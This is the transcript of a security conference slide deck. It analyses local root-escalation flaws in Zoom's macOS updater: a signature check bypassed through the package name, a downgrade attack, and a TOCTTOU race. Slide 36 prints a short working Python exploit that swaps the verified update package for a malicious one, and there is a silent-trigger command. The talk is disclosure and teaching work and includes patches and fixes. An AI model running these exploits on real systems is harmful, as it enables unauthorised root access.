Upgrade to Pro — share decks privately, control downloads, hide ads and more …

You're M̶u̶t̶e̶d̶ Rooted

You're M̶u̶t̶e̶d̶ Rooted

With a recent market cap of over $100 billion and the genericization of its name, the popularity of Zoom is undeniable. But what about its security? This imperative question is often quite personal, as who amongst us isn't jumping on weekly (daily?) Zoom calls?

In this talk, we’ll explore Zoom’s macOS application to uncover several critical security flaws. Flaws, that provided a local unprivileged attacker a direct and reliable path to root.

The first flaw, presents itself subtly in a core cryptographic validation routine, while the second is due to a nuanced trust issue between Zoom’s client and its privileged helper component.

After detailing both root cause analysis and full exploitation of these flaws, we’ll end the talk by showing how such issues could be avoided …both by Zoom, but also in other macOS applications.

Patrick Wardle

August 12, 2022
Tweet

More Decks by Patrick Wardle

Other Decks in Technology

Transcript

  1. WHOAMI Patrick Wardle Objective-See Foundation, 501(c)(3) macOS security Tools "The

    Art of Mac Malware" books "Objective by the Sea" conference
  2. Crypto Bug OUTLINE Downgrade Attack Via multiple flaws in Zoom's

    "auto update" feature on macOS, a 
 local attacker/malware could trivially escalate privileges to root. Fix(es) Background
  3. PREVIOUS RESEARCH (@DEF CON, 2017) on exploiting installers in general

    DefCon 25 
 "Death By 1000 Installers" non-priv'd / writable location runs as root local (non-priv'd) attacker
  4. PREVIOUS RESEARCH (2020) root, via Zoom's installer # ./ProcessMonitor 


    { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 0, "arguments" : [ "/bin/sh", "./runwithroot", ... ], } 
 } 
 
 % ls -lart com.apple.install.v43Mcm4r ... 
 -rwxr-xr-x 1 user staff runwithroot running as root executing script owned by user ! setuid (root) shell whoami: root "The 'S' in Zoom, Stands for Security" 
 https://objective-see.org/blog/blog_0x56.html
  5. A RECENT OBSERVATION password needed for install/uninstall Password required !

    ( or Touch ID ) Installation Uninstallation password (required)
  6. A RECENT OBSERVATION but no password required for (auto)updates!? "Auto

    update" 
 (enabled by default) Update alert } on an update: no password needed!?
  7. AN (AUTO)UPDATE Zoom's updater application: ZoomAutoUpdater.app # ./ProcessMonitor 
 {

    "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", 
 "process" : { "uid" : 501, "arguments" : [ "~/Library/Application Support/zoom.us/AutoUpdater/UpdaterApp/ 
 ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater", "1", "~/Library/Application Support/zoom.us/AutoUpdater", "~/Library/Application Support/zoom.us/AutoUpdater/Zoom.pkg", ... ] "path" : "~/Library/Application Support/zoom.us/AutoUpdater/UpdaterApp/ 
 ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater", "name" : "ZoomAutoUpdater", "pid" : 57957 } 
 } ZoomAutoUpdater.app (invoked with the update package) the update .pkg Updater app the updater app
  8. XPC connection to an updater daemon AN (AUTO)UPDATE /* @class

    ZMAutoUpdaterDaemonXPCServerMgr */ 
 -(void *)connectToHelperTool { 
 
 if([self daemonHelperConnection] == 0x0) { 
 
 //make connection 
 // Mach/XPC service name: "us.zoom.ZoomDaemon" 
 [self setDaemonHelperConnection: [[NSXPCConnection alloc] 
 initWithMachServiceName:@"us.zoom.ZoomDaemon" options:0x1000]]; 
 
 //protocol (implemented in remote service) 
 [[self daemonHelperConnection] setRemoteObjectInterface: 
 [NSXPCInterface interfaceWithProtocol:@protocol(ZMDaemonXPCProtocol)]]; 
 
 [[self daemonHelperConnection] resume]; 
 } 
 
 return [self daemonHelperConnection]; 
 } 01 02 03 04 05 06 07 08 
 09 10 11 12 13 14 15 16 17 18 19 Zoom's updater app Zoom's updater daemon (XPC) connection to "us.zoom.ZoomDaemon" connect via XPC to: us.zoom.ZoomDaemon
  9. Zoom's updater daemon: us.zoom.ZoomDaemon <?xml version="1.0" encoding="UTF-8"?> 
 ... 


    <dict> 
 <key>Label</key> 
 <string>us.zoom.ZoomDaemon</string> 
 <key>MachServices</key> 
 <dict> 
 <key>us.zoom.ZoomDaemon</key> 
 <true/> 
 </dict> 
 <key>Program</key> 
 <string>/Library/PrivilegedHelperTools/us.zoom.ZoomDaemon</string> 
 <key>ProgramArguments</key> 
 <array> 
 <string>/Library/PrivilegedHelperTools/us.zoom.ZoomDaemon</string> 
 </array> 
 </dict> 
 </plist> 01 02 03 04 05 06 07 08 
 09 10 11 12 13 14 15 16 17 18 Mach (XPC) service: 
 "us.zoom.ZoomDaemon" path to binary % ls -lart /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon 
 -r-xr--r-- 1 root wheel /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon 
 
 % ps aux 
 ... 
 root 14941 ... /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon AN (AUTO)UPDATE us.zoom.ZoomDaemon: owned & runs as root /Library/LaunchDaemons/us.zoom.ZoomDaemon.plist
  10. Zoom's updater daemon protocol: ZMDaemonXPCProtocol AN (AUTO)UPDATE % class-dump /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon

    
 
 @interface ZMDaemonHelperXPCMgr : NSObject <NSXPCListenerDelegate, ZMDaemonXPCProtocol> ... @property(retain) NSXPCListener *listener; // @synthesize listener=_listener; - (void)checkIfZoomQuit:(long long)arg1; - (void)launchApp:(id)arg1 arguments:(id)arg2; - (id)getSafeInstallPath; - (void)uninstallDaemonHelperWithReply:(CDUnknownBlockType)arg1; - (void)getInstallNewPackageStatusWithReply:(CDUnknownBlockType)arg1; - (void)installNewPackage:(id)arg1 reply:(CDUnknownBlockType)arg2; - (void)exitDaemonHelperWithReply:(CDUnknownBlockType)arg1; - (void)runDaemonHelperWithReply:(CDUnknownBlockType)arg1; - (BOOL)listener:(id)arg1 shouldAcceptNewConnection:(id)arg2; ... ZMDaemonXPCProtocol methods (us.zoom.ZoomDaemon) install update? (privileged) methods invocable by clients (e.g. Zoom's updater application) validate clients
  11. updater app → daemon "installNewPackage:" AN (AUTO)UPDATE /* @class ZMAutoUpdaterInstaller

    */ 
 -(void)installPackage:(void *)arg2 isInstallForAllUsers:(char)arg3 result:(void *)arg4 { 
 ... 
 [[ZMAutoUpdaterDaemonHelper sharedInstance] installPackage:pkg result:result]; 01 02 03 04 /* @class ZMAutoUpdaterDaemonHelper */ 
 -(void)installPackage:(void *)arg2 result:(void *)arg3 { 
 rax = [self xpcMgr]; 
 [rax installNewZoomPackage:arg2 result:rcx]; 01 02 03 04 /* @class ZMAutoUpdaterDaemonXPCServerMgr */ 
 -(void)installNewZoomPackage:(void *)arg2 result:(void *)arg3 { 
 rax = [self connectToHelperTool]; 
 rax = [rax remoteObjectProxyWithErrorHandler:rdx]; 
 ... 
 [rax installNewPackage:arg2 reply:rcx]; 01 02 03 04 05 06 us.zoom.Zoom 
 (priv'd helper) installNewPackage:(id)arg1 
 reply:(CDUnknownBlockType)arg2; } connect to daemon invoke method ZoomAutoUpdater.app
  12. AN (AUTO)UPDATE update completed by macOS's installer # ./ProcessMonitor 


    { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", 
 "process" : { "name" : "installer", "path" : "/usr/sbin/installer", "uid" : 0, "arguments" : [ "installer", "-verboseR", "-pkg", "/Library/Application Support/zoom.us/zoomTmp.pkg", "-target", "/" ] 
 ... } Update .pkg installed via macOS's installer macOS installer 
 (spawned by daemon, hence uid: 0) Updater app Updater daemon (macOS's) installer the update .pkg
  13. SECURE? ...at first glance, appears so Updater 
 daemon Only

    Zoom clients can connect 
 to the privileged updater daemon Update packages must be signed by Zoom blocked! Signed .pkg Unsigned .pkg
  14. SECURE? only Zoom client(s) can connect to updater daemon /*

    @class ZMCodeSignHelper */ 
 +(char)isValidConnection:(void *)arg2 { 
 ... 
 return ([ZMCodeSignHelper isValidConnection:r15 bundleID:@"us.zoom.xos"] || 
 [ZMCodeSignHelper isValidConnection:rax bundleID:@"us.zoom.ZoomAutoUpdater"]) 
 } 01 02 03 04 05 06 /* @class ZMCodeSignHelper */ 
 +(char)isValidConnection:(void *)arg2 bundleID:(void *)arg3 { 
 
 //get client's code signing information (via kSecGuestAttributeAudit) 
 
 //init "requirement" string 
 r13 = [NSString stringWithFormat:@"identifier \"%@\" and %@ and %@", r15, 
 @"anchor apple generic and certificate leaf[subject.OU] = BJ4HAAB9B3 
 and certificate leaf[subject.CN] = \"Developer ID Application: 
 Zoom Video Communications, Inc. (BJ4HAAB9B3)\"", @"info [CFBundleVersion] >= \"5.8.6\""]; 
 
 SecRequirementCreateWithStringAndErrors(r13, 0x0, &var_68, &var_58); 
 
 //validate (client) against "requirement" 
 r15 = SecCodeCheckValidity(rdi, 0x0, 0x0) == 0x0 ? 0x1 : 0x0; 
 return = r15 & 0xff; 01 02 03 04 05 06 07 08 
 09 10 11 12 13 14 15 
 16 requirement: 
 "recent version of Zoom" us.zoom.ZoomDaemon "isValidConnection:" logic
  15. SECURE? update packages must be signed by Zoom /* @class

    ZMCodeSignHelper */ 
 +(char)checkPkgAuthority:(void *)pkg { 
 
 signatureOK = NO; 
 
 //init task 
 rax = [[NSTask alloc] init]; 
 [rax setLaunchPath:@"/usr/sbin/pkgutil"]; 
 
 //set args: "--check-signature", path to pkg, etc. 
 
 //launch task / wait 
 [rax launch]; 
 [rax waitUntilExit]; 
 
 //check signer(s) 
 // rbx = (std)output from pkgutil 
 if([rax terminationStatus] == 0x0) { 
 if([ZMCodeSignHelper isString1ContainsString2:rbx string2:@"Zoom Video Communications, Inc."]) { 
 if([ZMCodeSignHelper isString1ContainsString2:rbx string2:@"Developer ID Certification Authority"]) { 
 signatureOK = [ZMCodeSignHelper isString1ContainsString2:rbx string2:@"Apple Root CA"] 
 } } } 
 
 return signatureOK; 
 } 01 02 03 04 05 06 07 08 
 09 10 11 12 13 14 15 
 16 
 17 
 18 
 19 
 20 21 
 22 
 23 
 24 25 exec macOS's pkgutil 
 with --check-signature <.pkg> signed validly, by: Zoom's developer ID "checkPkgAuthority:" logic
  16. PACKAGE VALIDATION via macOS's pkgutil tool % pkgutil --check-signature ZoomUpdate.pkg

    Package "ZoomUpdate.pkg": Status: signed by a developer certificate issued by Apple for distribution 
 Notarization: trusted by the Apple notary service 
 Certificate Chain: 1. Developer ID Installer: 
 Zoom Video Communications, Inc. (BJ4HAAB9B3) 
 2. Developer ID Certification Authority 
 3. Apple Root CA macOS's pkgutil pkgutil: "query & manipulate 
 Mac OS X Installer packages and receipts" Signature status Certificate chain pkgutil provides a package's:
  17. SECURE? an attempt to ensure packages are signed by Zoom

    /* @class ZMCodeSignHelper */ 
 +(BOOL)checkPkgAuthority:(void *)arg2 { 
 
 //init/task: 
 // pkgutil --check-signature <pkg> 
 
 //set stdout to pipe 
 pipe = [NSPipe pipe]; 
 [task setStandardOutput:pipe]; 
 
 //launch task 
 
 //read all stdout 
 handle = [pipe fileHandleForReading]; 
 data = [handle readDataToEndOfFile]; 
 output = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; 
 
 //check signer(s) 
 if([task terminationStatus] == 0x0) { 
 if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Zoom Video Communications, Inc."]) { 
 if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Developer ID Certification Authority"]) { 
 signatureOK = [ZMCodeSignHelper isString1ContainsString2:output string2:@"Apple Root CA"] 
 } } } 01 02 03 04 05 06 07 08 
 09 10 11 12 13 14 15 
 16 
 17 
 18 
 19 
 20 21 
 22 
 23 % pkgutil --check-signature ZoomUpdate.pkg Package "ZoomUpdate.pkg": Status: signed by a developer certificate issued by Apple for distribution 
 
 Certificate Chain: 1. Developer ID Installer: 
 Zoom Video Communications, Inc. (BJ4HAAB9B3) 
 ... "checkPkgAuthority:" method 
 (verification via pkgutil & string comparison) look for strings exec/output from pkgutil
  18. STRING CMPS ON *ALL* OUTPUT FROM PKGUTIL ...this output includes

    the package's name 🤦 //read *all* data from stdout 
 handle = [pipe fileHandleForReading]; 
 data = [handle readDataToEndOfFile]; 
 output = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; 
 
 //check signer(s) 
 if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Zoom Video Communications, Inc."]) { 
 if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Developer ID Certification Authority"]) { 
 signatureOK = [ZMCodeSignHelper isString1ContainsString2:output string2:@"Apple Root CA"] 
 } } } 01 02 03 04 05 06 07 08 
 09 10 % pkgutil --check-signature 
 "Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg" 
 Package "Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg": 
 Status: signed by a developer certificate issued by Apple for distribution package name, is included in stdout! "signature ok"
  19. (lldb) process attach --name us.zoom.ZoomDaemon --waitfor 
 
 Process 949

    stopped -> 0x10b182814 <+0>: pushq %rbp 
 (lldb) po $rdi 
 ZMCodeSignHelper 
 (lldb) x/s $rsi 
 0x10b185450: "checkPkgAuthority:" 
 
 (lldb) po $rdx 
 /private/tmp/Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg Process 949 stopped 
 -> 0x10b182b1c <+776>: retq 
 Target 0: (us.zoom.ZoomDaemon) stopped. (lldb) reg read $rax rax = 0x0000000000000001 PACKAGE SIGNATURE BYPASS ...by package name! +[ZMCodeSignHelper checkPkgAuthority:] at end of verification method, retq, 
 method will now return 0x1 (TRUE) !! (malicious) .pkg to verify Bypassing package verification ("Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg") us.zoom.ZoomDaemon
  20. ZOOM V5.9.0 released with "security enhancements" # ./FileMonitor 
 "event":

    "ES_EVENT_TYPE_NOTIFY_CREATE" 
 
 "file": 
 "destination": "/Library/Application Support/zoom.us/zoomTmp.pkg" 
 "process": 
 "name": "us.zoom.ZoomDaemon" 
 "path": "/Library/PrivilegedHelperTools/us.zoom.ZoomDaemon" # ./ProcessMonitor 
 
 "event" : "ES_EVENT_TYPE_NOTIFY_EXEC" 
 "process" : 
 "name" : "pkgutil" 
 "path" : "/usr/sbin/pkgutil" 
 "arguments" : [ 
 "/usr/sbin/pkgutil" 
 "--check-signature" 
 "/Library/Application Support/zoom.us/zoomTmp.pkg" 
 ] the update .pkg 
 is first renamed (copied) as "zoomTmp.pkg" the copy, is verified (still) validated by pkgutil /Library/Application Support/zoom.us zoomTmp.pkg directory, owned by root
  21. zoomTmp.pkg As the package (.pkg) is now renamed *and then*

    its 
 signature is verified, our package will no longer validate. //validation failed 
 else { ... 
 [rax setErrorCode:0x2717]; 
 } 01 02 03 04 05 06 thwarts name-based .pkg attack ZOOM V5.9.0 renamed though insecure package validation (via pkgutil) still present
  22. BUT, CAN WE DOWNGRADE ZOOM!? ...by (re)installing an older (buggy)

    version? no version checks? 
 ...any Zoom .pkg installable !! us.zoom.Zoom Zoom < 5.9 
 (buggy, but signed) verify (signature) install } installer logic 
 (us.zoom.Zoom) now, exploit
  23. HOW TO TRIGGER AN UPDATE ...don't want to wait for

    Zoom! Recall, only Zoom clients can 
 connect (to trigger an upgrade request) /* @class ZMDaemonHelperXPCMgr */ 
 -(BOOL)listener:(void *)arg2 shouldAcceptNewConnection:(void *)conn { 
 ... 
 if ([ZMCodeSignHelper isValidConnection:rax] != 0x0) { 
 //allow 
 } 01 02 03 04 05 
 06 +(BOOL)isValidConnection:(void *)conn { 
 
 //invoke +ZMCodeSignHelper isValidConnection twice 
 // with "us.zoom.ZoomAutoUpdater" & then "us.zoom.xos" 01 02 03 04 Client validation logic 
 (in updater daemon) Updater 
 daemon
  24. HOW TO TRIGGER AN UPDATE ...use Zoom's auto updater app!

    +(BOOL)isValidConnection:(void *)conn { 
 
 //invoke +ZMCodeSignHelper isValidConnection twice 
 // with "us.zoom.ZoomAutoUpdater" & then "us.zoom.xos" 01 02 03 04 Updater app Updater daemon int EntryPoint() { 
 ... 
 rax = [NSProcessInfo processInfo]; 
 rax = [rax arguments]; 
 if ([rax count] >= 0x9) { 
 
 //go go go 
 } 01 02 03 04 05 06 07 08 void sub_10000859c(int arg0) { 
 r14 = [*(arg0 + 0x20) pkgInstaller]; 
 r15 = [*(arg0 + 0x20) packagePath]; 
 rax = [*(arg0 + 0x20) isInstallForAllUsers]; 
 ... 
 [r14 installPackage:r15 
 isInstallForAllUsers:rax result:r8]; 
 return; 
 } 01 02 03 04 05 06 07 08 09 path! % ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater 1 2 ~/Downloads/Zoom_v5_8_6.pkg 4 5 6 7 8 -(void *)init { 
 ... 
 rax = [rbx objectAtIndexedSubscript:0x3]; 
 rsi = @selector(setPackagePath:); 
 objc_msgSend_1000100d0(rdi, rsi, rax); 01 02 03 04 05 argv[3] = pkg path
  25. EXPLOIT CHAIN ...root, in two simple steps Zoom < 5.9

    Updater app "Zoom...Apple Root CA.pkg" install old version Updater app install malicious .pkg # whoami root
  26. SILENTLY? ...yes, via other arguments! /* @class ZMAutoUpdaterMgr */ 


    -(void *)init { 
 ... 
 
 rdx = sign_extend_64([[rbx objectAtIndexedSubscript:0x5] boolValue]); 
 rdi = r14; 
 rsi = @selector(setIsNeedRelauch:); 
 objc_msgSend_1000100d0(rdi, rsi, rdx); 
 
 ... 
 
 rdx = sign_extend_64([[rbx objectAtIndexedSubscript:0x6] boolValue]); 
 rdi = r14; 
 rsi = @selector(setIsShowUI:); 
 objc_msgSend_1000100d0(rdi, rsi, rdx); 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 More arg parsing 
 (Zoom Updater App) Should relaunch? Should show UI? By setting argv[5] & argv[6] to 0 (false), the upgrade (or exploit) will be invisible! ZoomAutoUpdater.app
  27. CVE-2022-22781: DOWNGRADE ATTACK Zoom v5.9.6, released April 2022 CVE-2022-22781 


    (patch time: 4+ months) "[Zoom] failed to properly check the package version during the update process. This could lead to a malicious actor updating an unsuspecting user's currently installed version to a less secure version" -Zoom Security Bulletin $5,000 
 bug bounty
  28. CVE-2022-22781: PATCH DETAILS is app version in upgrade pkg >=

    installed version? /* @class ZMDaemonHelperXPCMgr */ 
 -(BOOL)isZoomPkgVersionAllowed:(void *)arg2 { 
 
 //unzip .pkg 
 [[self unzipZoomPkg:rdx unzipDestFolder:rcx] retain]; 
 
 //get version of "zoom.us.app" in unzipped .pkg 
 version = [self getPayloadDataWith:r12 unzipDestFolder:rax]; 
 
 //check current version with app version 
 return [self checkPkgZoomVersionAllowed:rbx]; 01 02 03 04 05 06 07 08 
 09 10 11 Unzip Extract version # Compare /* @class ZMDaemonHelperXPCMgr */ 
 -(BOOL)checkPkgZoomVersionAllowed:(void *)arg2 { 
 
 rax = [NSBundle bundleWithPath:arg2]; 
 r14 = [rax objectForInfoDictionaryKey:@"CFBundleVersion"]; 
 
 rax = [NSBundle mainBundle]; 
 r12 = [rax objectForInfoDictionaryKey:@"CFBundleVersion"]; 
 
 if ([r14 length] != 0x0 && [r12 length] != 0x0) { 
 rax = [r14 compare:r12 options:0x40] != 
 0xffffffffffffffff ? 0x1 : 0x0; } 
 ... 01 02 03 04 05 06 07 08 
 09 10 11 12 13 
 14 Downgrades 
 now blocked "upgrade" < current version?
  29. CVE-2022-28751: PACKAGE VALIDATION Zoom v5.11.3, released July 2022 CVE-2022-28751 


    (patch time: 7+ months) $5,000 
 bug bounty "[Zoom] contain[ed] a vulnerability in the package signature validation during the update process. A local low-privileged user could exploit this vulnerability to escalate their privileges to root" -Zoom Security Bulletin
  30. CVE-2022-28751: PATCH DETAILS .pkg signature now validated via CMS/XAR apis

    % otool -L /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon 
 ... 
 /usr/lib/libxar.1.dylib 
 /System/Library/Frameworks/Security.framework/Versions/A/Security % nm /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon 
 U _CMSDecoderGetNumSigners 
 U _CMSDecoderCopySignerCert ... U _xar_open U _xar_signature_copy_signed_data /* @class ZMCheckPkgSignatureHelper */ 
 +(BOOL)checkPkgAuthorityByCMS:(void *)pkg { 
 
 return [[self class] validateInstallerPackage:pkg teamID:@"BJ4HAAB9B3" 
 installerAuthority:@"Developer ID Installer: Zoom Video Communications, Inc. (BJ4HAAB9B3)"]; } 01 02 03 04 05 06 07 }new dependencies 
 ...& their imports validation now done (correctly) via APIs Non-Zoom 
 .pkgs blocked
  31. PACKAGE VALIDATION ...better option: (private) PackageKit.framework WhatsYourSign (Package.h/.m) 
 github.com/objective-see/WhatsYourSign/

    
 
 "Reversing 'pkgutil' to Verify PKGs" 
 jamf.com/blog/reversing-pkgutil-to-verify-pkgs/ % otool -L /usr/sbin/pkgutil 
 /System/Library/PrivateFrameworks/Bom.framework/Versions/A/Bom 
 /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/PackageKit } .pkg 
 validation how pkgutil 
 validates packages
  32. RECALL upgrade .pkg moved/renamed, then validated # ./FileMonitor 
 "event":

    "ES_EVENT_TYPE_NOTIFY_CREATE" 
 "file": 
 "destination": "/Library/Application Support/zoom.us/zoomTmp.pkg" 
 "process": 
 "name": "us.zoom.ZoomDaemon" copy of (update) .pkg (lldb) process attach --name us.zoom.ZoomDaemon --waitfor 
 
 * thread #3, breakpoint 1.1 
 -> 0x100ebf866 <+558>: callq *%r9 
 (lldb) po $rdi 
 <NSFileManager: 0x7f9dc7408960> 
 
 (lldb) x/s $rsi 
 0x7fff71b6054a: "copyItemAtPath:toPath:error:" 
 
 (lldb) po $rdx 
 /Users/user/Downloads/zoomusInstallerFull.pkg 
 
 (lldb) po $rcx 
 /Library/Application Support/zoom.us/zoomTmp.pkg /Library/Application Support/zoom.us zoomTmp.pkg file copy API source dest. directory, owned by root
  33. THE DESTINATION DIRECTORY IS OWNED BY ROOT ...but, the package

    is (still) world-writable! 🤦 % ls -la "/Library/Application Support/zoom.us" 
 drwxr-xr-x root admin . 
 
 % touch "/Library/Application Support/zoom.us/foo" 
 touch: /Library/Application Support/zoom.us/foo: Permission denied % ls -la "/Library/Application Support/zoom.us" 
 -rw-r--r--@ user staff zoomTmp.pkg 
 % whoami 
 user 
 % md5 "/Library/Application Support/zoom.us/zoomTmp.pkg" 
 MD5 (zoomTmp.pkg) = d8e2b6cdb16aed29a7f51e780543a08b 
 
 % echo foo >> "/Library/Application Support/zoom.us/zoomTmp.pkg" 
 
 % md5 zoomTmp.pkg 
 MD5 (zoomTmp.pkg) = 24807d29234cda2b010ce9ac28c4071b upgrade .pkg: owned by: user !? As the permissions of the package are not updated, an unprivileged local attacker can surreptitiously modify it! ..."editable!?" by anybody? directory owned by: root
  34. A CLASSIC "TOCTTOU" BUG a race condition between .pkg verification

    & install zoomTmp.pkg Copy (+rename) 
 to /Library/Application Support/zoom.us/ Verify (signature) Unzip 
 (+check version) Install update 
 (recall, as root) Subvert .pkg After verification 
 Before installation the race window 
 ...can we reliably win !? Upgrade:
  35. THE RACE WINDOW ...easily winnable, due to "large" window Verify

    (signature) Unzip 
 (+check version) Install update 
 (recall, as root) Unzip: 
 % /usr/bin/xar Version check: 
 % /bin/cat 
 % /usr/bin/cpio Install: 
 % /usr/bin/sudo 
 % /usr/sbin/installer to win } start
  36. FULL EXPLOIT root ...in 10 lines of code #imports ...

    
 
 PAYLOAD = 'get.root.pkg' 
 PKG_DEST = '/Library/Application Support/zoom.us/zoomTmp.pkg' 
 
 subprocess.Popen(['ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater','2','3', 
 '/tmp/Zoom.pkg','5','6','7','8','9']) 
 
 while not os.path.exists(PKG_DEST): 
 time.sleep(0.1) 
 
 time.sleep(0.2) 
 shutil.copyfile(PAYLOAD, PKG_DEST) 01 02 03 04 05 06 07 08 
 09 10 11 12 
 13 trigger an update (with valid Zoom pkg) wait for copy of update .pkg to show up replace (verified) package with malicious .pkg zoomTmp.pkg # whoami root
  37. A PROPOSED FIX ...via a single API call? [NSFileManager.defaultManager setAttributes:

    
 @{NSFileGroupOwnerAccountID:@0, NSFileOwnerAccountID:@0}; 
 ofItemAtPath:@"/Library/Application Support/zoom.us/zoomTmp.pkg" error:NULL]; 01 02 03 NSFileOwnerAccountID: 0 NSFileGroupOwnerAccountID: 0 % ls -la "/Library/Application Support/zoom.us" 
 -rw-r--r--@ root wheel zoomTmp.pkg 
 
 
 % echo foo >> "/Library/Application Support/zoom.us/zoomTmp.pkg" 
 zsh: permission denied: /Library/Application Support/zoom.us/zoomTmp.pkg permission (would then be) denied ! Set permissions 
 (owner: root, group: wheel)
  38. TAKEAWAYS Be careful choosing 
 usability over security! Watch DefCon

    talks! password (required) Installer app + .pkg 
 ...avoids most installer issues! Where's there are bugs 
 ...will likely be (many!) more }
  39. MORE ON MACOS SECURITY ...topics of reversing, debugging, & malware

    Free: taomm.org 
 For sale: amazon, etc...
  40. RESOURCES: You're Muted Rooted "Death By 1000 Installers" 
 speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken

    
 
 "The 'S' in Zoom, Stands for Security" 
 objective-see.org/blog/blog_0x56.html 
 
 "Zoom Zero Day: 4+ Million Webcams & maybe an RCE?" 
 infosecwriteups.com/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5